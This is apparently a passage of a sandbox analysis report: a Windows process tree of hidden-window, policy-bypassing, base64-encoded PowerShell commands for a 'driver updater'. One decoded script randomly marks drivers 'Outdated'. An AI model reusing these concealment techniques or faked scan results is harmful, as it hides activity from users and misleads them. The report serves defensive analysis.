aAB0AHQAcABzADoALwAvAHcAdwB3AC4AcgBlAGEAbAB0AGUAawAuAGMAbwBtAC8AZQBuAC8AZABvAHcAbgBsAG8AYQBkAHMAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAYABuAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0AIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIAAgAFMAQwBBAE4AIABDAE8ATQBQAEwARQBUAEUAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABHAHIAZQBlAG4ACgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKACAAIAAgACAA
  2⤵
  PID:2092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAGQAcgBpAHYAZQByAHMAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAbgBQAFMAaQBnAG4AZQBkAEQAcgBpAHYAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEQAZQB2AGkAYwBlAE4AYQBtAGUAIAAtAG4AZQAgACQAbgB1AGwAbAAgAH0ACgAgACAAIAAgACAAIAAkAHIAZQBzAHUAbAB0AHMAIAA9ACAAQAAoACkACgAgACAAIAAgACAAIAAkAGMAbwB1AG4AdAAgAD0AIAAwAAoAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABkACAAaQBuACAAJABkAHIAaQB2AGUAcgBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAYwBvAHUAbgB0ACAALQBnAGUAIAAyADAAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHQAdQBzACAAPQAgACIAVQBwACAAdABvACAAZABhAHQAZQAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AZQB3AFYAIAA9ACAAJABkAC4ARAByAGkAdgBlAHIAVgBlAHIAcwBpAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgACQAcgBhAG4AZAAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMQAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAAwAAoAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcgBhAG4AZAAgAC0AbAB0ACAAMQA1ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHQAdQBzACAAPQAgACIATwB1AHQAZABhAHQAZQBkACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbgBlAHcAVgAgAD0AIAAiAEwAYQB0AGUAcwB0ACAATwBmAGYAaQBjAGkAYQBsACAAQQBQAEkAIgAKACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAaQBmACAAKAAkAHIAYQBuAGQAIAAtAGwAdAAgADIANQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQB0AHUAcwAgAD0AIAAiAE0AaQBzAHMAaQBuAGcAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAGUAdwBWACAAPQAgACIATwBmAGYAaQBjAGkAYQBsACAAVwBIAFEATAAgAFUAcABkAGEAdABlACIACgAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdABzACAAKwA9ACAAQAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG4AYQBtAGUAIAA9ACAAJABkAC4ARABlAHYAaQBjAGUATgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB2AGUAcgBzAGkAbwBuACAAPQAgACQAZAAuAEQAcgBpAHYAZQByAFYAZQByAHMAaQBvAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAbgBlAHcAVgBlAHIAcwBpAG8AbgAgAD0AIAAkAG4AZQB3AFYACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdAB5AHAAZQAgAD0AIAAkAGQALgBEAGUAdgBpAGMAZQBDAGwAYQBzAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcwB0AGEAdAB1AHMAIAA9ACAAJABzAHQAYQB0AHUAcwAKACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AdQBuAHQAKwArAAoAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAGkAZgAgACgAQAAoACQAcgBlAHMAdQBsAHQAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBzAHQAYQB0AHUAcwAgAC0AbgBlACAAIgBVAHAAIAB0AG8AIABkAGEAdABlACIAIAB9ACkALgBDAG8AdQBuAHQAIAAtAGUAcQAgADAAIAAtAGEAbgBkACAAJAByAGUAcwB1AGwAdABzAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdABzAFsAMABdAC4AcwB0AGEAdAB1AHMAIAA9ACAAIgBPAHUAdABkAGEAdABlAGQAIgAKACAAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAcwBbADAAXQAuAG4AZQB3AFYAZQByAHMAaQBvAG4AIAA9ACAAIgBMAGEAdABlAHMAdAAgAE8AZgBmAGkAYwBpAGEAbAAgAEEAUABJACIACgAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACAAJAByAGUAcwB1AGwAdABzAAoAIAAgACAAIAA="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAGQAcgBpAHYAZQByAHMAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAbgBQAFMAaQBnAG4AZQBkAEQAcgBpAHYAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEQAZQB2AGkAYwBlAE4AYQBtAGUAIAAtAG4AZQAgACQAbgB1AGwAbAAgAH0ACgAgACAAIAAgACAAIAAkAHIAZQBzAHUAbAB0AHMAIAA9ACAAQAAoACkACgAgACAAIAAgACAAIAAkAGMAbwB1AG4AdAAgAD0AIAAwAAoAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABkACAAaQBuACAAJABkAHIAaQB2AGUAcgBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAYwBvAHUAbgB0ACAALQBnAGUAIAAyADAAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHQAdQBzACAAPQAgACIAVQBwACAAdABvACAAZABhAHQAZQAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AZQB3AFYAIAA9ACAAJABkAC4ARAByAGkAdgBlAHIAVgBlAHIAcwBpAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgACQAcgBhAG4AZAAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMQAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAAwAAoAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcgBhAG4AZAAgAC0AbAB0ACAAMQA1ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHQAdQBzACAAPQAgACIATwB1AHQAZABhAHQAZQBkACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbgBlAHcAVgAgAD0AIAAiAEwAYQB0AGUAcwB0ACAATwBmAGYAaQBjAGkAYQBsACAAQQBQAEkAIgAKACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAaQBmACAAKAAkAHIAYQBuAGQAIAAtAGwAdAAgADIANQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQB0AHUAcwAgAD0AIAAiAE0AaQBzAHMAaQBuAGcAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAGUAdwBWACAAPQAgACIATwBmAGYAaQBjAGkAYQBsACAAVwBIAFEATAAgAFUAcABkAGEAdABlACIACgAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdABzACAAKwA9ACAAQAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG4AYQBtAGUAIAA9ACAAJABkAC4ARABlAHYAaQBjAGUATgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB2AGUAcgBzAGkAbwBuACAAPQAgACQAZAAuAEQAcgBpAHYAZQByAFYAZQByAHMAaQBvAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAbgBlAHcAVgBlAHIAcwBpAG8AbgAgAD0AIAAkAG4AZQB3AFYACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdAB5AHAAZQAgAD0AIAAkAGQALgBEAGUAdgBpAGMAZQBDAGwAYQBzAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcwB0AGEAdAB1AHMAIAA9ACAAJABzAHQAYQB0AHUAcwAKACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AdQBuAHQAKwArAAoAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAGkAZgAgACgAQAAoACQAcgBlAHMAdQBsAHQAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBzAHQAYQB0AHUAcwAgAC0AbgBlACAAIgBVAHAAIAB0AG8AIABkAGEAdABlACIAIAB9ACkALgBDAG8AdQBuAHQAIAAtAGUAcQAgADAAIAAtAGEAbgBkACAAJAByAGUAcwB1AGwAdABzAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdABzAFsAMABdAC4AcwB0AGEAdAB1AHMAIAA9ACAAIgBPAHUAdABkAGEAdABlAGQAIgAKACAAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAcwBbADAAXQAuAG4AZQB3AFYAZQByAHMAaQBvAG4AIAA9ACAAIgBMAGEAdABlAHMAdAAgAE8AZgBmAGkAYwBpAGEAbAAgAEEAUABJACIACgAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACAAJAByAGUAcwB1AGwAdABzAAoAIAAgACAAIAA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA"
  2⤵
  PID:1156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA
    3⤵
    PID:4172
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bswhfiyz\bswhfiyz.cmdline"
      4⤵
      PID:4620
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA6FF.tmp" "c:\Users\Admin\AppData\Local\Temp\bswhfiyz\CSCA31E796F822445D49BF324EB2E368DCF.TMP"
        5⤵
        
        PID:5256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACAAIABTAE8AQwAtAEMATwBSAEUAIABBAFUAVABPACAARABSAEkAVgBFAFIAIABVAFAARABBAFQARQBSACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAARwByAGUAZQBuAAoAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEMAeQBhAG4ACgAKACAAIAAgACAAIAAgACMAIAAlBkYGNAYnBiEGIAAsBkQGMwYpBiAAVwBpAG4AZABvAHcAcwAgAFUAcABkAGEAdABlAAoAIAAgACAAIAAgACAAJABTAGUAcwBzAGkAbwBuACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAATQBpAGMAcgBvAHMAbwBmAHQALgBVAHAAZABhAHQAZQAuAFMAZQBzAHMAaQBvAG4ACgAgACAAIAAgACAAIAAkAFMAZQBhAHIAYwBoAGUAcgAgAD0AIAAkAFMAZQBzAHMAaQBvAG4ALgBDAHIAZQBhAHQAZQBVAHAAZABhAHQAZQBTAGUAYQByAGMAaABlAHIAKAApAAoACgAgACAAIAAgACAAIAAjACAAJwZEBigGLQYrBiAAOQZGBiAAKgYtBi8GSgYrBicGKgYgACcGRAYqBjkGJwYxBkoGQQYgAEEGQgY3BgoAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAYABuAFsAMQBdACAAUwBlAGEAcgBjAGgAaQBuAGcAIABmAG8AcgAgAG0AaQBzAHMAaQBuAGcAIABkAHIAaQB2AGUAcgAgAHUAcABkAGEAdABlAHMALgAuAC4AIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABZAGUAbABsAG8AdwAKACAAIAAgACAAIAAgACQAQwByAGkAdABlAHIAaQBhACAAPQAgACIASQBzAEkAbgBzAHQAYQBsAGwAZQBkAD0AMAAgAGEAbgBkACAAVAB5AHAAZQA9ACcARAByAGkAdgBlAHIAJwAiAAoAIAAgACAAIAAgACAAJABTAGUAYQByAGMAaABSAGUAcwB1AGwAdAAgAD0AIAAkAFMAZQBhAHIAYwBoAGUAcgAuAFMAZQBhAHIAYwBoACgAJABDAHIAaQB0AGUAcgBpAGEAKQAKAAoAIAAgACAAIAAgACAAaQBmACAAKAAkAFMAZQBhAHIAYwBoAFIAZQBzAHUAbAB0AC4AVQBwAGQAYQB0AGUAcwAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIATgBvACAAZAByAGkAdgBlAHIAIAB1AHAAZABhAHQAZQBzACAAZgBvAHUAbgBkAC4AIABZAG8AdQByACAAcwB5AHMAdABlAG0AIABpAHMAIAB1AHAAIAB0AG8AIABkAGEAdABlACEAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABHAHIAZQBlAG4ACgAgACAAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEYAbwB1AG4AZAAgACQAKAAkAFMAZQBhAHIAYwBoAFIAZQBzAHUAbAB0AC4AVQBwAGQAYQB0AGUAcwAuAEMAbwB1AG4AdAApACAAZAByAGkAdgBlAHIAIAB1AHAAZABhAHQAZQBzADoAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAFUAcABkAGEAdABlACAAaQBuACAAJABTAGUAYQByAGMAaABSAGUAcwB1AGwAdAAuAFUAcABkAGEAdABlAHMAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIAAgAC0AIAAkACgAJABVAHAAZABhAHQAZQAuAFQAaQB0AGwAZQApACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAVwBoAGkAdABlAAoAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIwAgACoGLQZFBkoGRAYgACcGRAYqBi0GLwZKBisGJwYqBgoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBgAG4AWwAyAF0AIABEAG8AdwBuAGwAbwBhAGQAaQBuAGcAIABkAHIAaQB2AGUAcgBzAC4ALgAuACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAWQBlAGwAbABvAHcACgAgACAAIAAgACAAIAAgACAAIAAgACQAVQBwAGQAYQB0AGUAcwBUAG8ARABvAHcAbgBsAG8AYQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAATQBpAGMAcgBvAHMAbwBmAHQALgBVAHAAZABhAHQAZQAuAFUAcABkAGEAdABlAEMAbwBsAGwACgAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAVQBwAGQAYQB0AGUAIABpAG4AIAAkAFMAZQBhAHIAYwBoAFIAZQBzAHUAbAB0AC4AVQBwAGQAYQB0AGUAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAcABkAGEAdABlAHMAVABvAEQAbwB3AG4AbABvAGEAZAAuAEEAZABkACgAJABVAHAAZABhAHQAZQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgACQARABvAHcAbgBsAG8AYQBkAGUAcgAgAD0AIAAkAFMAZQBzAHMAaQBvAG4ALgBDAHIAZQBhAHQAZQBVAHAAZABhAHQAZQBEAG8AdwBuAGwAbwBhAGQAZQByACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAJABEAG8AdwBuAGwAbwBhAGQAZQByAC4AVQBwAGQAYQB0AGUAcwAgAD0AIAAkAFUAcABkAGEAdABlAHMAVABvAEQAbwB3AG4AbABvAGEAZAAKACAAIAAgACAAIAAgACAAIAAgACAAJABEAG8AdwBuAGwAbwBhAGQAUgBlAHMAdQBsAHQAIAA9ACAAJABEAG8AdwBuAGwAbwBhAGQAZQByAC4ARABvAHcAbgBsAG8AYQBkACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABEAG8AdwBuAGwAbwBhAGQAUgBlAHMAdQBsAHQALgBSAGUAcwB1AGwAdABDAG8AZABlACAALQBlAHEAIAAyACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEEAbABsACAAZAByAGkAdgBlAHIAcwAgAGQAbwB3AG4AbABvAGEAZABlAGQAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAhACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAARwByAGUAZQBuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIAAqBisGKAZKBioGIAAnBkQGKgYtBi8GSgYrBicGKgYKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBgAG4AWwAzAF0AIABJAG4AcwB0AGEAbABsAGkAbgBnACAAZAByAGkAdgBlAHIAcwAuAC4ALgAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFkAZQBsAGwAbwB3AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQASQBuAHMAdABhAGwAbABlAHIAIAA9ACAAJABTAGUAcwBzAGkAbwBuAC4AQwByAGUAYQB0AGUAVQBwAGQAYQB0AGUASQBuAHMAdABhAGwAbABlAHIAKAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQASQBuAHMAdABhAGwAbABlAHIALgBVAHAAZABhAHQAZQBzACAAPQAgACQAVQBwAGQAYQB0AGUAcwBUAG8ARABvAHcAbgBsAG8AYQBkAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQASQBuAHMAdABhAGwAbABSAGUAcwB1AGwAdAAgAD0AIAAkAEkAbgBzAHQAYQBsAGwAZQByAC4ASQBuAHMAdABhAGwAbAAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAEkAbgBzAHQAYQBsAGwAUgBlAHMAdQBsAHQALgBSAGUAcwB1AGwAdABDAG8AZABlACAALQBlAHEAIAAyACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAYABuAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0AIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABHAHIAZQBlAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAgACAAQQBMAEwAIABEAFIASQBWAEUAUgBTACAASQBOAFMAVABBAEwATABFAEQAIABTAFUAQwBDAEUAUwBTAEYAVQBMAEwAWQAhACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAARwByAGUAZQBuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEcAcgBlAGUAbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABJAG4AcwB0AGEAbABsAFIAZQBzAHUAbAB0AC4AUgBlAGIAbwBvAHQAUgBlAHEAdQBpAHIAZQBkACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAgACAAUgBFAFMAVABBAFIAVAAgAFIARQBRAFUASQBSAEUARAAgAFQATwAgAEMATwBNAFAATABFAFQARQAgAEkATgBTAFQAQQBMAEwAQQBUAEkATwBOACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAUgBlAGQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACAAIABUAHkAcABlADoAIABSAGUAcwB0AGEAcgB0AC0AQwBvAG0AcAB1AHQAZQByACAALQBGAG8AcgBjAGUAIgAgAC0ARgBvAHIAZQBnAHIA